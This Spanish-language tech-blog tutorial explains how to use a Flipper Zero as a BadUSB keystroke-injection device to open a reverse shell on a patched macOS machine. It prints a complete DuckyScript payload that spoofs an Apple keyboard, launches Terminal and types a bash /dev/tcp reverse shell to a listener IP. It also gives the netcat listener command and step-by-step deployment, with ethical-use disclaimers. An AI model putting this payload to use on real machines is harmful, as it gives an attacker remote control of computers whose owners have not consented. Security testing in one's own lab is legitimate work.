paint-brush
Cómo obtener una carcasa inversa en macOS usando un Flipper Zero como BadUSBpor@fatman
34,263 lecturas
34,263 lecturas

Cómo obtener una carcasa inversa en macOS usando un Flipper Zero como BadUSB

por Scott Eggimann5m2022/12/05
Read on Terminal Reader

Demasiado Largo; Para Leer

Usando un Flipper Zero, un archivo de texto corto de DuckyScript y un oyente remoto en un servidor Ubuntu, pude obtener un shell en mi computadora Mac.
featured image - Cómo obtener una carcasa inversa en macOS usando un Flipper Zero como BadUSB
Scott Eggimann HackerNoon profile picture

Usando un Flipper Zero, un archivo de texto DuckyScript corto de 12 líneas y un oyente remoto en mi servidor Ubuntu, pude obtener un shell en mi computadora Ventura macOS completamente parcheada y actualizada.


En mi entorno de laboratorio, uso Flipper Zero como un dispositivo de pentesting para probar vulnerabilidades en mis servidores y sistemas de escritorio.


Flipper Zero es nuestra herramienta de piratería ética preferida porque ofrece una cantidad infinita de cargas útiles disponibles, tiene una herramienta de selección de menú en pantalla y utiliza una pantalla de progreso para proporcionar comentarios.


Este artículo es un ejemplo de cómo usar el Flipper Zero como un dispositivo BadUSB de Pentesting Ético y cómo evitar ser víctima de tal exploit. No use esto en computadoras que no sean de su propiedad o que no tenga permiso para usar. Este código no se esfuerza por ocultarse de los sistemas de detección de intrusiones (IDS), los sistemas de prevención de intrusiones (IPS), los sistemas de detección de red, los cortafuegos o el software antivirus (AV).

Cargas útiles BadUSB

Flipper Zero BadUSB, así como varios otros dispositivos BadUSB, usan cargas útiles escritas en DuckyScript. Un lenguaje de secuencias de comandos simple para realizar pulsaciones de teclas que resultan en un ataque de inyección de teclado.


Un buen punto de referencia inicial para Duckyscript Payloads es el sitio web oficial de Hak5:

https://shop.hak5.org/blogs/payloads/tagged/usb-rubber-ducky . Aquí encontrará ejemplos y documentación para usar DuckScript.

Escribamos algo de DuckyScript

Puede usar un guión ya hecho o puede aprender a escribir el suyo propio. Le mostraremos cómo explotar un shell inverso en una computadora macOS en un sencillo tutorial paso a paso.


Use su editor de texto favorito e ingrese el siguiente texto. El macOS tiene la aplicación TextEdit instalada de forma predeterminada, así que la usaremos.


ID 05ac:021e Apple:Keyboard

DELAY 1000

GUI SPACE

DELAY 200

STRING terminal

DELAY 200

ENTER

DELAY 1000

STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1

DELAY 1000

ENTER

DELAY 1000


Para este tutorial no necesitamos saber mucho sobre DuckyScript, así que repasaremos los pocos comandos que usa nuestro script. En realidad, solo hay cinco comandos diferentes que usamos.

Dominio

Descripción

ID 05ac:021e Apple:Teclado

Esta línea le dice a macOS que nuestro Flipper Zero es realmente un teclado Apple. Si no usa esta línea, macOS muestra el cuadro de diálogo Asistente de configuración del teclado, lo que hará que su secuencia de comandos falle.

DEMORA

Este comando indica al sistema operativo que espere un período de tiempo. Si no utilizamos estos retrasos, el script se ejecutará demasiado rápido y fallará.

ESPACIO GUI

Presiona la tecla Comando de Apple y la barra espaciadora para abrir la ventana 'Búsqueda de Spotlight'.

Terminal de CADENA

Introduce la cadena 'Terminal' en la ventana de búsqueda de Spotlight

INGRESAR

Presiona la tecla ENTER o Return en tu teclado. Después de presionar la tecla ENTER, macOS inicia la ventana Terminal (/Aplicaciones/Utilidades/Terminal)

CADENA bash -i >& /dev/tcp/10.10.10.157/4444 0>&1

Este comando ingresa el texto en la ventana del terminal que establece una conexión con el servidor Netcat que escucha en 10.10.10.157 en el puerto 4444


Cambie la dirección IP en 10.10.10.157 y el puerto 4444 a la dirección IP y el puerto de su servidor.


Guarde este archivo en su disco como rev_shell_macos.txt . No hay una organización de subdirectorios en el directorio badusb en Flipper Zero, por lo que si está utilizando múltiples cargas útiles para diferentes sistemas operativos, use una convención de nomenclatura que signifique algo para usted para que sepa lo que hace.

Instalación de la aplicación qflipper

Si aún no ha instalado la aplicación qflipper, vaya a la página de actualización oficial de Flipper Zero y seleccione el instalador para su sistema operativo. La página es la página de actualización de firmware, pero en la parte inferior hay enlaces para instalar la aplicación qflipper.


https://flipperzero.one/update

Siga las instrucciones de su sistema operativo para instalar la aplicación qflipper.


Obtener el Duckyscript en el Flipper Zero

Abra la aplicación qflipper y seleccione el icono de carpeta resaltado en rojo.


Seleccione y haga doble clic en el icono de la tarjeta SD para ver el contenido.



Localice y arrastre el archivo rev_shell_macos.txt que creamos anteriormente a la carpeta badusb .



Retire el Flipper Zero de su computadora cuando termine de copiar el archivo.

Esperando un caparazón inverso

El Flipper Zero BadUSB está armado y listo para usar. Pero primero, debemos configurar nuestro oyente remoto en nuestro servidor. En nuestro servidor Ubuntu, inicie la escucha de Netcat con el siguiente comando:


$ nc -nlvp 4444


El desglose del comando se muestra en la siguiente tabla. Nuevamente, realmente no necesita saber qué sucede con este comando, aparte de que está esperando una conexión entrante.

Dominio

Opciones

Carolina del Norte

Comando netcat

-nlvp

( n ) sin resolución de DNS, ( l ) escuchar la conexión entrante, ( v ) salida detallada, ( p ) puerto

4444

Número de puerto para escuchar



Ahora que nuestro oyente Netcat está listo y esperando una conexión entrante, podemos continuar con el ataque Flipper Zero BadUSB.

Inicio de BadUSB Reverse Shell

La parte más difícil ya está hecha. El archivo Flipper Zero BadUSB reverse_shell_macos.txt se escribe, se mueve a Flipper Zero y el oyente de Netcat está esperando una conexión.


Localice el menú Bad USB y seleccione el botón Ejecutar. No conecte su Flipper Zero a su computadora todavía. El Flipper Zero te avisará cuando sea el momento de conectar tu dispositivo.


Navegue hasta el archivo DuckyScript que copiamos en el paso anterior. Si no ve este archivo, lo copió en el directorio incorrecto. Seleccione rev_shell_macos y haga clic en el botón Ejecutar.


Cuando vea la alerta Conectar a USB , puede conectar su Flipper Zero al puerto USB de su iMac o MacBook. Haga clic en el botón Ejecutar.


Puede ver el progreso de su secuencia de comandos BadUSB en la ventana principal. Una vez que el estado alcanza el 100%, la carga útil está completa y puede eliminar el Flipper Zero.


Si está mirando el monitor de la computadora del iMac, puede ver el exploit mientras ejecuta el DuckyScript. El oyente de Netcat en nuestro servidor Ubuntu muestra los resultados de la solicitud exitosa.

Control de su computadora

Ahora tiene el control de la computadora macOS a través de un shell inverso. Al ejecutarse en una versión de BSD Linux, puede usar las herramientas de línea de comandos de Unix y un shell BASH como si estuviera sentado frente al teclado del iMac físico.


Puede usar comandos regulares de Linux como whoami , pwd , ls o cd para navegar por el sistema de archivos y manipular el sistema operativo.


Próximos pasos

Ahora que comprende cómo funciona Flipper Zero como un dispositivo BadUSB, puede crear sus propios scripts. Utilice el sitio Hak5 o uno de los muchos repositorios DuckyScript GitHub disponibles a través de una búsqueda en Google como punto de partida para sus propios archivos Duckyscript.


Operar legal y éticamente. Utilice esta herramienta en dispositivos de su propiedad o para los que tenga permiso de uso.